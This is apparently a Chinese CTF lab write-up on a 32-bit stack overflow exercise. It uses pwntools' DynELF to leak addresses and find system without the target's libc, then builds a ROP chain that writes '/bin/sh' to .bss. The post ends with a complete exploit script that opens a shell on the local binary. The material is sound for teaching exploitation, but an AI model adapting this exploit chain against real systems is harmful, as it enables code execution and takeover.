【Pwn-蒸米ROP level 2 - 在不获取目标libc.so的情况下进行ROP攻击】此文章归类为:Pwn。
1.环境
ubuntu1~16.04.12
pwndbg
python
2.目标
不通过确认libc版本,使用DynELF暴力搜找到system 获取shell
3.DynELF的限制
https://blog.csdn.net/ATFWUS/article/details/104823539
DynELF的使用,也需要注意一些限制条件和具体的使用范围:
- DynELF的原理是在内存中不断搜索地址信息,所以漏洞一定要可以反复的被利用。
- 因为需要输出地址,所以一定需要相关的相关的泄露函数,如write,puts。
- write非常好用,因为几乎不受限制的写出。
- puts函数就有点恼火了,因为会受到x00等字符的干扰而截断,当然,也有相应的解决方案,不过有write最好用write。
4.流程
这次不需要知道libc版本通过DynELF去暴力搜索system
1 2 | DynELF(leak, elf = ELF( './level2' ))
system_addr = d.lookup( 'system' , 'libc' )
|
leak 这个回调函数需要可以反复调用
原理就是通过DynELF函数暴力枚举内存地址,使用(write or puts)获得地址地址都存放了什么东西。
1 2 3 4 5 6 7 8 9 10 | def leak(address):
pylaod1 = 'a' * 140 + p32(write_plt) + p32(vulfunAddr) + p32( 0x1 ) + p32(address) + p32( 0x4 )
p.send(pylaod1)
data = p.recv( 4 )
print ( "%#x => %s" % (address, (data or ' ').encode(' hex ')))
return data
d = DynELF(leak, elf = ELF( './level2' ))
system_addr = d.lookup( 'system' , 'libc' )
print ( "system_addr" , hex (system_addr))
|
获得system 后差字符串,可以使用read函数向.bbs数据段写入/bin/sh
,然后通过地址去引用存放变量。
.bss 段可以通过IDA查看ctrl+s 看到起始位置和结束位置。
.bss段(Block Started by Symbol)用来存储未初始化的全局变量和静态变量的内存,这些变量在程序加载时没有明确的初始值,通常被初始化为零或空。
在调用system这个call的时候注意堆栈平衡POP_POP_POP_ret这个为返回地址是为了把p32(0) 、p32(bass_addr) 、 p32(8)这三个, 三处pop出去让system_add成为栈顶
使用ROPgadget --binary level2 --only 'pop|ret' 找三个POP就行
1 2 | payload1 = 'a' * 140 + p32(read_plt) + p32(POP_POP_POP_ret) + p32( 0 ) + p32(bass_addr) + p32( 8 )
payload1 + = p32(system_addr) + p32( 0x0 ) + p32(bass_addr)
|
5.Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | from pwn import *
p = process( './level2' )
elf = ELF( "./level2" )
POP3_ret = 0x080484bd
bss_addr = 0x0804A018
write_plt = elf.symbols[ 'write' ]
read_plt = elf.symbols[ 'read' ]
vulnerable_function_addr = elf.symbols[ 'vulnerable_function' ]
def leak(addrs):
payload = b 'a' * 140 + p32(write_plt) + p32(vulnerable_function_addr) + p32( 0x1 ) + p32(addrs) + p32( 0x4 )
p.send(payload)
data = p.recv( 4 )
print ( "%#x => %s" % (addrs,(data.encode( 'hex' ) if data else '' )))
return data
b = DynELF(leak = leak, elf = elf)
system_addr = b.lookup( 'system' , 'libc' )
print ( "system_addr: %#x" % system_addr)
payload1 = b 'a' * 140 + p32(read_plt) + p32(POP3_ret) + p32( 0x0 ) + p32(bss_addr) + p32( 7 )
payload1 + = p32(system_addr) + p32( 0 ) + p32(bss_addr)
if args.G:
gdb.attach(p, "b *vulnerable_function" )
p.send(payload1)
p.send( '/bin/sh\0' )
p.interactive()
|
更多【Pwn-蒸米ROP level 2 - 在不获取目标libc.so的情况下进行ROP攻击】相关视频教程:www.yxfzedu.com